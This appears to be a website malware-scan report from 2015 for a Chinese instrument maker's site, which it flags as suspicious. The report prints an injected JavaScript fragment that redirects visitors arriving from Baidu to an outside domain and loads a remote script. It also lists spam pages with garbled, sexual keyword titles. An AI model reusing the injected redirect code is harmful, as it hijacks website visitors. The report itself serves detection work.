Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=ryautomate.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://ryautomate.com/ | 200 OK Content-Length: 39444 Content-Type: text/html | clean |
http://yy.500bar.net/tj.js | 200 OK Content-Length: 328 Content-Type: application/x-javascript | clean |
http://yy.500bar.net/gg.js | 200 OK Content-Length: 775 Content-Type: application/x-javascript | suspicious |
Page code contains blacklisted domain: vip.hunlianyuan.com ...[260 bytes skipped]... ) > -1) { window.opener.location.href = url } else { window.opener.location.replace(url) } } }; var referer = document.referrer; if (!referer) { return }; var rst = /https?\:\/\/([^\/]+)/i.exec(referer); var host = rst ? rst[1] : 'unknown'; if (/baidu\.com$/i.test(host) && timeallow) { var search = referer.substring(referer.indexOf('?')); jump("http://vip.hunlianyuan.com/1.html"); return } })() } catch(e) {} document.write ('<script language="javascript" type="text/javascript" src="http://js.17meiliba.com/tan.js"></script>'); | ||
http://ryautomate.com/news.php?uid=34019414&aid=863595&cid=0636326 | 200 OK Content-Length: 47555 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: aliboju.net <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>ÈÕ±¾É«Íø,hͼƬ´óÈ«ÈÕ±¾,Ãâ·ÑÏÂÔعÅÁéС˵</title><meta name="keywords" content="ÈÕ±¾É«Íø,hͼƬ´óÈ«ÈÕ±¾,Ãâ·ÑÏÂÔعÅÁéС˵" /><meta name="description" content="Èç¸ÞÊÐ×Ô¶¯»¯ÒDZíÒ»³§ÊôÈÕ±¾É«ÍøÄÜÔ´²¿¡¢»¯¹¤²¿Ê×ÅúÍƼö¶¨Ãâ·ÑÏÂÔعÅÁéС˵µãÉú²úҺλ²âÁ¿ÒDZíµÄרҵ³§¼Ò£¬ÊǼ¯¿ÆÑС¢²úÆ·ÖÆÔì¡¢¹¤³Ì³ÉÌ×ΪһÌåµÄ×ÛºÏÐÔ¾¼ÃʵÌ壬ҲÊǹúÄÚÆľßʵÁ¦µÄÒ ...[4317 bytes skipped]... | ||
http://ryautomate.com/news.php?uid=5616989&aid=09508157&cid=93227092 | 200 OK Content-Length: 48325 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: 0531kuaiji.net <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>Ëû´ïÀ·Æ ½øÐÐÐÔ¼¡ÓªÑø²»Á¼,Àú¾ÃÃÖеÄÉú»î½ÌÓý,ËÖªµÀÈËÓëÊÞÍøÖ·</title><meta name="keywords" content="Ëû´ïÀ·Æ ½øÐÐÐÔ¼¡ÓªÑø²»Á¼,Àú¾ÃÃÖеÄÉú»î½ÌÓý,ËÖªµÀÈËÓëÊÞÍøÖ·" /><meta name="description" content="Èç¸ÞÊÐ×Ô¶¯»¯ÒDZíÒ»³§ÊôËû´ïÀ·Æ ½øÐÐÐÔ¼¡ÓªÑø²»Á¼ÄÜÔ´²¿¡¢»¯¹¤²¿Ê×ÅúÍƼö¶¨ËÖªµÀÈËÓëÊÞÍøÖ·µãÉú²úҺλ²âÁ¿ÒDZíµÄרҵ³§¼Ò£¬ÊǼ¯¿ÆÑС¢²ú ...[4311 bytes skipped]... | ||
http://ryautomate.com/news.php?uid=93548842&aid=56799641&cid=727751 | 200 OK Content-Length: 47999 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: bztianxi.com <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>¸çҲɫ2014ÖÐÎÄ,ÇéÉ«Â×ÀíƬµçÓ°Íø,qvod²¥·ÅÆ÷¹Ù·½Ãâ·ÑÏÂÔØ</title><meta name="keywords" content="¸çҲɫ2014ÖÐÎÄ,ÇéÉ«Â×ÀíƬµçÓ°Íø,qvod²¥·ÅÆ÷¹Ù·½Ãâ·ÑÏÂÔØ" /><meta name="description" content="Èç¸ÞÊÐ×Ô¶¯»¯ÒDZíÒ»³§Êô¸çҲɫ2014ÖÐÎÄÄÜÔ´²¿¡¢»¯¹¤²¿Ê×ÅúÍƼö¶¨qvod²¥·ÅÆ÷¹Ù·½Ãâ·ÑÏÂÔصãÉú²úҺλ²âÁ¿ÒDZíµÄרҵ³§¼Ò£¬ÊǼ¯¿ÆÑС¢²úÆ·ÖÆÔì¡¢¹¤³Ì³ÉÌ×Ϊ ...[4316 bytes skipped]... | ||
http://ryautomate.com/news.php?uid=01695935&aid=85777162&cid=38427774 | 200 OK Content-Length: 47680 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: 21artcn.com <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>ÎÂÜ°½ºþµ¢ÃÀС˵,Ã÷ÐÇÑݳª»á,¿Ú½»¾«Å«</title><meta name="keywords" content="ÎÂÜ°½ºþµ¢ÃÀС˵,Ã÷ÐÇÑݳª»á,¿Ú½»¾«Å«" /><meta name="description" content="Èç¸ÞÊÐ×Ô¶¯»¯ÒDZíÒ»³§ÊôÎÂÜ°½ºþµ¢ÃÀС˵ÄÜÔ´²¿¡¢»¯¹¤²¿Ê×ÅúÍƼö¶¨¿Ú½»¾«Å«µãÉú²úҺλ²âÁ¿ÒDZíµÄרҵ³§¼Ò£¬ÊǼ¯¿ÆÑС¢²úÆ·ÖÆÔì¡¢¹¤³Ì³ÉÌ×ΪһÌåµÄ×ÛºÏÐÔ¾¼ÃʵÌ壬ҲÊǹúÄÚÆľßʵÁ¦µÄҺλÒDZ ...[4324 bytes skipped]... | ||
http://ryautomate.com/news.php?uid=805166&aid=9154883&cid=47943529 | 500 timeout Content-Length: 30 Content-Type: text/plain | clean |
http://ryautomate.com/test404page.js | 404 Not Found Content-Length: 0 Content-Type: text/html | clean |
http://ryautomate.com/news.php?uid=188524&aid=61577514&cid=26361175 | 200 OK Content-Length: 49124 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: huatingspa.com <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>Å®ÐÔ°²È«ÆÚÔõôËã,ÃÀÅ®²Ù±ÆͼƬ,ÈÕ±¾ÄêÁä×îСµÄavÅ®ÓÅ</title><meta name="keywords" content="Å®ÐÔ°²È«ÆÚÔõôËã,ÃÀÅ®²Ù±ÆͼƬ,ÈÕ±¾ÄêÁä×îСµÄavÅ®ÓÅ" /><meta name="description" content="Èç¸ÞÊÐ×Ô¶¯»¯ÒDZíÒ»³§ÊôÅ®ÐÔ°²È«ÆÚÔõôËãÄÜÔ´²¿¡¢»¯¹¤²¿Ê×ÅúÍƼö¶¨ÈÕ±¾ÄêÁä×îСµÄavÅ®ÓŵãÉú²úҺλ²âÁ¿ÒDZíµÄרҵ³§¼Ò£¬ÊǼ¯¿ÆÑС¢²úÆ·ÖÆÔì¡¢¹¤³Ì³ÉÌ×ΪһÌåµÄ×ÛºÏÐÔ¾¼Ã ...[4240 bytes skipped]... | ||
http://ryautomate.com/news.php?uid=991530&aid=618805&cid=4577359 | 500 timeout Content-Length: 30 Content-Type: text/plain | clean |
http://ryautomate.com/news.php?uid=9971937&aid=156318&cid=130454 | 200 OK Content-Length: 49202 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: jllingfeng.com <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>ÀàËƾ£¼¬°®ÉñµÄС˵,»¹ÓÐÄÄЩ»ÆÍøÄÜÓÿ첥¿´,ÃÀÅ®csСÓÎÏ·</title><meta name="keywords" content="ÀàËƾ£¼¬°®ÉñµÄС˵,»¹ÓÐÄÄЩ»ÆÍøÄÜÓÿ첥¿´,ÃÀÅ®csСÓÎÏ·" /><meta name="description" content="Èç¸ÞÊÐ×Ô¶¯»¯ÒDZíÒ»³§ÊôÀàËƾ£¼¬°®ÉñµÄС˵ÄÜÔ´²¿¡¢»¯¹¤²¿Ê×ÅúÍƼö¶¨ÃÀÅ®csСÓÎÏ·µãÉú²úҺλ²âÁ¿ÒDZíµÄרҵ³§¼Ò£¬ÊǼ¯¿ÆÑС¢²úÆ·ÖÆÔì¡¢¹¤³Ì³ÉÌ×ΪһÌåµÄ×ÛºÏÐÔ¾ ...[4237 bytes skipped]... | ||
http://ryautomate.com/news.php?uid=7810353&aid=7186610&cid=683994 | 200 OK Content-Length: 49219 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: langyaauto.com <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>aviѸÀ×Ãâ·ÑµçÓ°ÏÂÔØ,ayisamfc,ÉÙÄê°¢±öàÖàªÐ¡ËµÈ«ÎÄÏÂÔØ</title><meta name="keywords" content="aviѸÀ×Ãâ·ÑµçÓ°ÏÂÔØ,ayisamfc,ÉÙÄê°¢±öàÖàªÐ¡ËµÈ«ÎÄÏÂÔØ" /><meta name="description" content="Èç¸ÞÊÐ×Ô¶¯»¯ÒDZíÒ»³§ÊôaviѸÀ×Ãâ·ÑµçÓ°ÏÂÔØÄÜÔ´²¿¡¢»¯¹¤²¿Ê×ÅúÍƼö¶¨ÉÙÄê°¢±öàÖàªÐ¡ËµÈ«ÎÄÏÂÔصãÉú²úҺλ²âÁ¿ÒDZíµÄרҵ³§¼Ò£¬ÊǼ¯¿ÆÑС¢²úÆ·ÖÆÔì¡¢¹¤³Ì³ÉÌ×ÎªÒ»Ì ...[4240 bytes skipped]... | ||
http://ryautomate.com/news.php?uid=918579&aid=9205869&cid=3172163 | 200 OK Content-Length: 49049 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: gzczj.net <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>Ó¤¶ùÄÌ·ÛÆ·ÅÆÅÅÐÐ,É«ÀÇÍøÈËÌåÒÕÊõ,»¤Ê¿µÄ×ö°®ÐÔͼ</title><meta name="keywords" content="Ó¤¶ùÄÌ·ÛÆ·ÅÆÅÅÐÐ,É«ÀÇÍøÈËÌåÒÕÊõ,»¤Ê¿µÄ×ö°®ÐÔͼ" /><meta name="description" content="Èç¸ÞÊÐ×Ô¶¯»¯ÒDZíÒ»³§ÊôÓ¤¶ùÄÌ·ÛÆ·ÅÆÅÅÐÐÄÜÔ´²¿¡¢»¯¹¤²¿Ê×ÅúÍƼö¶¨»¤Ê¿µÄ×ö°®ÐÔͼµãÉú²úҺλ²âÁ¿ÒDZíµÄרҵ³§¼Ò£¬ÊǼ¯¿ÆÑС¢²úÆ·ÖÆÔì¡¢¹¤³Ì³ÉÌ×ΪһÌåµÄ×ÛºÏÐÔ¾¼ÃʵÌ壬ҲÊǹ ...[4243 bytes skipped]... | ||
http://ryautomate.com/news.php?uid=76999364&aid=510433&cid=1741341 | 200 OK Content-Length: 48846 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: kingdomled.net <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>ɫˬ,É«É«ÒùÒù²Ù±Æ°Ù¶ÈÓ°Òô,ÍƼöºÃ¿´µÄblС˵</title><meta name="keywords" content="ɫˬ,É«É«ÒùÒù²Ù±Æ°Ù¶ÈÓ°Òô,ÍƼöºÃ¿´µÄblС˵" /><meta name="description" content="Èç¸ÞÊÐ×Ô¶¯»¯ÒDZíÒ»³§ÊôɫˬÄÜÔ´²¿¡¢»¯¹¤²¿Ê×ÅúÍƼö¶¨ÍƼöºÃ¿´µÄblС˵µãÉú²úҺλ²âÁ¿ÒDZíµÄרҵ³§¼Ò£¬ÊǼ¯¿ÆÑС¢²úÆ·ÖÆÔì¡¢¹¤³Ì³ÉÌ×ΪһÌåµÄ×ÛºÏÐÔ¾¼ÃʵÌ壬ҲÊǹúÄÚÆľßʵÁ¦µÄҺλÒDZí ...[4237 bytes skipped]... |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: ryautomate.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 07 Mar 2015 09:18:15 GMT
Server: Microsoft-IIS/6.0
Content-Type: text/html; charset=gb2312
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.17
GET / HTTP/1.1
Host: ryautomate.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 07 Mar 2015 09:18:15 GMT
Server: Microsoft-IIS/6.0
Content-Type: text/html; charset=gb2312
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.17
Second query (visit from search engine):
GET / HTTP/1.1
Host: ryautomate.com
Referer: http://www.google.com/search?q=ryautomate.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: ryautomate.com
Referer: http://www.google.com/search?q=ryautomate.com
Result:
The result is similar to the first query. There are no suspicious redirects found.